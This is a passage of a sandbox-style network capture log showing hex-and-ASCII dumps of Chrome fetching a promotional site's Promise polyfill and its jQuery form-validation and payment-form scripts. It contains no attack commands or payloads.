6e 74 4e 61 6d 65 Data Ascii: ar cardNumber = inputElement.val().trim().replace(/[\s-]/g, ''); form.errors[inputElementName] = inputElement.data('error-message'); inputElement.removeClass(validClass).addClass(errorClass); if (typeof form.errors[inputElementName
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 76 61 6c 28 29 2e 74 72 69 6d 28 29 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d 20 3d 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 64 61 74 61 28 27 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 27 29 3b 0a 20 20 20 20 20 20 20 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 76 61 6c 69 64 43 6c 61 73 73 29 2e 61 64 64 43 6c 61 73 73 28 65 72 72 6f 72 43 6c 61 73 73 29 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 Data Ascii: var value = inputElement.val().trim(); form.errors[inputElementName] = inputElement.data('error-message'); inputElement.removeClass(validClass).addClass(errorClass); if (typeof form.errors[inputElementName] === 'undefined')
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 20 76 61 6c 69 64 61 74 65 45 6d 61 69 6c 28 66 69 65 6c 64 4e 61 6d 65 2c 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2c 20 66 6f 72 6d 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 56 61 6c 75 65 20 3d 20 66 6f 72 6d 2e 64 61 74 61 5b 66 69 65 6c 64 4e 61 6d 65 5d 2e 76 61 6c 75 65 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 20 3d 20 66 6f 72 6d 2e 64 61 74 61 5b 66 69 65 6c 64 4e 61 6d 65 5d 2e 6e 61 6d 65 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 76 61 6c 28 29 2e 74 72 69 6d 28 29 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d Data Ascii: ction validateEmail(fieldName, inputElement, form) { var inputElementValue = form.data[fieldName].value; var inputElementName = form.data[fieldName].name; var value = inputElement.val().trim(); form.errors[inputElementName]
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6e 64 65 66 69 6e 65 64 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 72 6d 2e 65 72 72 6f 72 73 5b 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 5d 20 3d 20 27 45 6e 74 65 72 20 61 20 76 61 6c 69 64 20 27 20 2b 20 69 6e 70 75 74 45 6c 65 6d 65 6e 74 4e 61 6d 65 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 20 3d 3d 3d 20 27 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 76 61 72 20 6d 69 6e 4c 65 6e 67 74 68 20 3d 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 4c 65 6e 67 74 68 20 3d 20 31 30 30 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 69 6e 70 75 Data Ascii: ndefined') { form.errors[inputElementName] = 'Enter a valid ' + inputElementName.toUpperCase(); } if (value === '') { return; } var minLength = 1, maxLength = 100; if (typeof inpu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.16	49838	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	466	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/promise.min.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	789	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5dMBzU2GXEQNlknKFeNWGT7dr3%2FJ4Vmlwf66AS%2B6MSzjGfGZgvIHIC4sFTGNIyJ8wwFLqunuiLayhmU6yTUaf%2F5t4VFzb%2BcV57BX415c8wKi2Ng887sN8XR42n%2BpkTEmDP4F6py3YIvNlVQr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4194bef472a4-EWR alt-svc: h3=":443"; ma=86400
2024-10-03 16:19:51 UTC	580	IN	Data Raw: 39 64 36 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 61 70 70 6c 79 28 65 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 68 69 73 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 73 20 6d 75 73 74 20 62 65 20 63 6f 6e 73 74 72 75 63 74 65 64 20 76 69 61 20 6e 65 77 22 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 74 68 69 73 2e 5f Data Ascii: 9d6!function(t){function e(){}function n(t,e){return function(){t.apply(e,arguments)}}function o(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 6c 75 65 29 7d 63 61 74 63 68 28 72 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 66 28 65 2e 70 72 6f 6d 69 73 65 2c 72 29 7d 69 28 65 2e 70 72 6f 6d 69 73 65 2c 6f 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 74 72 79 7b 69 66 28 65 3d 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 41 20 70 72 6f 6d 69 73 65 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 73 6f 6c 76 65 64 20 77 69 74 68 20 69 74 73 65 6c 66 2e 22 29 3b 69 66 28 65 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 29 29 7b 76 61 72 20 72 3d 65 2e 74 68 65 6e 3b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 6f 29 72 65 74 75 72 6e 20 74 2e 5f 73 74 61 74 65 3d 33 2c 74 2e 5f Data Ascii: lue)}catch(r){return void f(e.promise,r)}i(e.promise,o)}))}function i(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e\|\|"function"==typeof e)){var r=e.then;if(e instanceof o)return t._state=3,t._
2024-10-03 16:19:51 UTC	576	IN	Data Raw: 20 76 6f 69 64 20 75 2e 63 61 6c 6c 28 66 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6f 28 69 2c 74 29 7d 2c 6e 29 7d 65 5b 69 5d 3d 66 2c 30 3d 3d 3d 2d 2d 72 26 26 74 28 65 29 7d 63 61 74 63 68 28 63 29 7b 6e 28 63 29 7d 7d 69 66 28 30 3d 3d 3d 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 74 28 5b 5d 29 3b 66 6f 72 28 76 61 72 20 72 3d 65 2e 6c 65 6e 67 74 68 2c 69 3d 30 3b 69 3c 65 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 6f 28 69 2c 65 5b 69 5d 29 7d 29 7d 2c 6f 2e 72 65 73 6f 6c 76 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 6f 3f 74 3a 6e 65 77 20 6f 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 28 74 29 7d 29 7d 2c 6f 2e 72 Data Ascii: void u.call(f,function(t){o(i,t)},n)}e[i]=f,0===--r&&t(e)}catch(c){n(c)}}if(0===e.length)return t([]);for(var r=e.length,i=0;i<e.length;i++)o(i,e[i])})},o.resolve=function(t){return t&&"object"==typeof t&&t.constructor===o?t:new o(function(e){e(t)})},o.r
2024-10-03 16:19:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.16	49837	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	768	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/form_handler.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	755	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zteml3kvGQ13mLNZsFjBShqhEtmAmLPeS93%2FZlPkMbJ%2BMPkteujQVCOD9F41JzAjRn8KRXZbJRPw612Ej1S8qWHHfKegUdD%2B1hHkU5tzZfLNbSzGKd8OvBZTHbYn69RiygzGDYc2pzK9X23E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4194c96141bb-EWR
2024-10-03 16:19:51 UTC	614	IN	Data Raw: 36 35 66 62 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0a 20 20 20 20 24 2e 66 6e 2e 66 6f 72 6d 48 61 6e 64 6c 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 5f 73 65 6c 66 4f 70 74 69 6f 6e 73 29 20 7b 0a 20 20 20 20 20 20 20 20 2f 2a 2a 0a 20 20 20 20 20 20 20 20 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 20 20 20 20 20 20 20 20 2a 20 43 68 65 63 6b 20 74 68 65 20 65 78 69 73 74 65 6e 63 65 20 6f 66 20 74 68 65 20 65 6c 65 6d 65 6e 74 20 62 65 66 6f 72 65 20 62 69 6e 64 69 6e 67 20 61 6e 79 20 65 76 65 6e 74 73 0a 20 20 20 20 20 20 20 20 20 Data Ascii: 65fb(function ($) { 'use strict'; $.fn.formHandler = function (_selfOptions) { /** * ------------------------------------------------------------- * Check the existence of the element before binding any events
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 20 20 20 20 20 20 20 20 2a 2f 0a 20 20 20 20 20 20 20 20 76 61 72 20 64 65 66 61 75 6c 74 73 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 72 72 6f 72 4d 6f 64 61 6c 3a 20 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 75 74 6f 46 69 6c 6c 46 6f 72 6d 45 6c 65 6d 65 6e 74 3a 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 75 6e 74 72 79 44 72 6f 70 64 6f 77 6e 3a 20 27 53 65 6c 65 63 74 20 43 6f 75 6e 74 72 79 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6a 61 78 4c 6f 61 64 65 72 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 76 3a 20 27 27 2c 0a 20 20 20 20 Data Ascii: --------------------------------------------- */ var defaults = { errorModal: true, autoFillFormElement: false, countryDropdown: 'Select Country', ajaxLoader: { div: '',
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 28 27 6b 65 79 75 70 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 65 6c 65 6d 20 3d 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 6e 61 6d 65 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 63 6f 70 79 54 6f 46 6f 72 6d 2e 66 69 6e 64 28 27 74 65 78 74 61 72 65 61 5b 6e 61 6d 65 3d 27 20 2b 20 65 6c 65 6d 20 2b 20 27 5d 27 29 2e 76 61 6c 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 5f 73 65 6c 66 2e 6f 6e 28 27 66 6f 63 75 73 27 2c 20 27 69 6e 70 75 74 2c 20 73 65 6c 65 63 74 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 Data Ascii: ('keyup', function () { var elem = $(this).attr('name'); _copyToForm.find('textarea[name=' + elem + ']').val($(this).val()); }); } _self.on('focus', 'input, select', function () { if
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 6d 65 2b 22 5d 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 62 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 53 65 6c 65 63 74 6f 72 73 5b 22 7a 69 70 22 5d 20 3d 20 22 5b 6e 61 6d 65 3d 62 69 6c 6c 69 6e 67 5a 69 70 5d 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 0a 0a 20 20 20 20 20 20 20 20 5f 73 65 6c 66 2e 66 69 6e 64 28 63 62 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 53 65 6c 65 63 74 6f 72 73 2e 7a 69 70 29 2e 62 6c 75 72 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 72 65 71 75 69 72 65 64 27 29 29 20 7b 0a 20 20 20 20 Data Ascii: me+"]"; cb.formElementSelectors["zip"] = "[name=billingZip]"; } } }); _self.find(cb.formElementSelectors.zip).blur(function () { if (!$(this).hasClass('required')) {
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 24 28 74 68 69 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 63 62 2e 76 61 6c 69 64 43 6c 61 73 73 29 2e 61 64 64 43 6c 61 73 73 28 63 62 2e 65 72 72 6f 72 43 6c 61 73 73 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 0a 20 20 20 20 20 20 20 20 5f 73 65 6c 66 2e 66 69 6e 64 28 63 62 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 53 65 6c 65 63 74 6f 72 73 2e 70 68 6f 6e 65 29 2e 62 6c 75 72 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 72 65 71 75 69 72 65 64 27 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 74 Data Ascii: $(this).removeClass(cb.validClass).addClass(cb.errorClass); }); _self.find(cb.formElementSelectors.phone).blur(function () { if (!$(this).hasClass('required')) { return; } $(t
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 61 70 70 5f 63 6f 6e 66 69 67 2e 61 6c 6c 6f 77 65 64 5f 74 63 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 26 26 20 61 70 70 5f 63 6f 6e 66 69 67 2e 61 6c 6c 6f 77 65 64 5f 74 63 2e 6c 65 6e 67 74 68 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 61 6c 6c 6f 77 65 64 5f 74 63 20 3d 20 63 62 2e 64 65 63 72 79 70 74 41 6c 6c 6f 77 65 64 54 65 73 74 43 61 72 64 28 61 70 70 5f 63 6f 6e 66 69 67 2e 61 6c 6c 6f 77 65 64 5f 74 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 73 54 65 73 74 43 61 72 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 61 6c 6c 6f 77 65 64 5f 74 Data Ascii: if (typeof app_config.allowed_tc !== 'undefined' && app_config.allowed_tc.length) { var allowed_tc = cb.decryptAllowedTestCard(app_config.allowed_tc); var isTestCard = false; $(allowed_t
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 65 72 66 6f 72 6d 52 65 67 75 6c 61 72 42 6c 75 72 45 76 65 6e 74 28 24 28 74 68 69 73 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 63 62 2e 65 72 72 6f 72 43 6c 61 73 73 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 76 61 6c 69 64 61 74 6f 72 2e 69 73 56 61 6c 69 64 43 76 76 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 74 68 69 73 29 2e 61 64 64 43 6c 61 73 73 28 Data Ascii: return; } performRegularBlurEvent($(this)); if ($(this).hasClass(cb.errorClass)) { return; } if (validator.isValidCvv($(this).val())) { $(this).addClass(
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 79 70 65 6f 66 20 65 6c 65 6d 65 6e 74 2e 64 61 74 61 28 27 6d 61 78 2d 6c 65 6e 67 74 68 27 29 20 21 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 78 4c 65 6e 67 74 68 20 3d 20 70 61 72 73 65 49 6e 74 28 65 6c 65 6d 65 6e 74 2e 64 61 74 61 28 27 6d 61 78 2d 6c 65 6e 67 74 68 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 76 61 6c 75 65 2e 6c 65 6e 67 74 68 20 3c 20 6d 69 6e 4c 65 6e 67 74 68 20 7c 7c 20 76 61 6c 75 65 2e 6c 65 6e 67 74 68 20 3e 20 6d 61 78 4c 65 6e 67 74 68 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 Data Ascii: ypeof element.data('max-length') !== 'undefined') { maxLength = parseInt(element.data('max-length')); } if (value.length < minLength \|\| value.length > maxLength) { return; } e
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 66 65 72 65 6e 74 6c 79 20 69 66 20 75 73 65 72 20 73 65 6c 65 63 74 73 20 50 61 79 50 61 6c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 2a 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 66 69 65 6c 64 73 20 3d 20 5b 27 63 72 65 64 69 74 43 61 72 64 4e 75 6d 62 65 72 27 2c 20 27 65 78 70 6d 6f 6e 74 68 27 2c 20 27 65 78 70 79 65 61 72 27 2c 20 27 43 56 56 27 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 61 72 64 54 79 70 65 20 3d 20 24 28 74 68 69 73 29 2e 76 61 6c 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 63 75 6c 61 74 65 43 76 76 4d 61 78 6c 65 6e 67 74 68 28 63 61 72 64 54 79 70 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 2e 65 61 63 68 28 66 69 65 6c 64 73 2c 20 66 75 6e 63 74 69 6f 6e 20 28 69 6e 64 65 78 2c Data Ascii: ferently if user selects PayPal */ var fields = ['creditCardNumber', 'expmonth', 'expyear', 'CVV']; var cardType = $(this).val(); calculateCvvMaxlength(cardType); $.each(fields, function (index,
2024-10-03 16:19:51 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 6c 44 69 72 65 63 74 44 65 62 69 74 28 27 73 68 6f 77 27 29 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 65 6c 73 65 20 69 66 20 28 63 61 72 64 54 79 70 65 20 3d 3d 20 27 73 71 75 61 72 65 27 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 5b 6e 61 6d 65 3d 27 20 2b 20 66 69 65 6c 64 20 2b 20 27 5d 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 72 65 71 75 69 72 65 64 27 29 2e 63 6c 6f 73 65 73 74 28 27 70 2c 20 64 69 76 27 29 2e 68 69 64 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6c 6c 53 71 75 61 72 65 28 27 73 68 6f 77 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: callDirectDebit('show'); }else if (cardType == 'square') { $('[name=' + field + ']').removeClass('required').closest('p, div').hide(); callSquare('show');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.16	49812	111.90.140.35	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	123	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html
2024-10-03 16:19:51 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.16	49842	104.21.32.108	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:51 UTC	470	OUT	GET /outstandingpromotions/automotive/v1/CEmK/assets/js/jquery.mask.min.js HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:51 UTC	759	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:51 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:52 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60156 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LHSsG8xNnoePfVKyCi5tlY9CfFHc%2FinECJvaWeF56Q5Q50t4C2yhQoZBAd%2F1YvFTA8A7ivvWmL3S8XgEj30HlldPKbhEOgRsi%2FywUoaBp97BVedrCpeciqTV%2Bg8a2EXDu1kZQO%2B8ADQRIjSW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce4196185b43d7-EWR
